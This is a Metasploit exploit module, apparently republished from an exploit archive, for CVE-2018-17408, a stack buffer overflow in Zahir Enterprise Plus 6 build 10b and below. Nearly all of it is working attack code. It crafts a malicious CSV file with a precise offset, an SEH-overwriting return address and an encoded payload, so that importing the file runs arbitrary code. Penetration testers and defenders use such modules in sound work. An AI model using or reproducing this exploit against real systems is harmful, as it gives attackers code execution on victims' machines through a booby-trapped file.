Zahir Enterprise Plus 6 Stack Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Zahir Enterprise Plus 6 Stack Buffer Overflow",  
'Description' => %q{  
This module exploits a stack buffer overflow in Zahir Enterprise Plus version 6 build 10b and below.  
The vulnerability is triggered when opening a CSV file containing CR/LF and overly long string characters  
via Import from other File. This results in overwriting a structured exception handler record.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'f3ci', # initial discovery  
'modpr0be' # poc and Metasploit Module  
],  
'References' =>  
[  
[ 'CVE', '2018-17408' ],  
[ 'EDB', '45505' ]  
],  
'Platform' => 'win',  
'Targets' =>  
[  
['Zahir Enterprise Plus 6 <= build 10b',  
{  
#P/P/R from vclie100.bpl (C:\Program Files\Zahir Personal 6 - Demo Version\vclie100.bpl)  
'Ret' => 0x52016661,  
'Offset' => 3041  
}  
]  
],  
'Payload' =>  
{  
'Space' => 5000,  
'BadChars' => "\x00\x0a\x0d\x22\x2c",  
'DisableNops' => true  
},  
'DisclosureDate' => 'Sep 28 2018',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The malicious file name', 'msf.csv'])  
])  
end  
  
def exploit  
buf = rand_text_alpha_upper(target['Offset'])  
buf << "\r\n" # crash chars  
buf << rand_text_alpha_upper(380) # extra chars to hit the offset  
buf << generate_seh_record(target.ret)  
buf << payload.encoded  
  
file_create(buf)  
end  
end  
`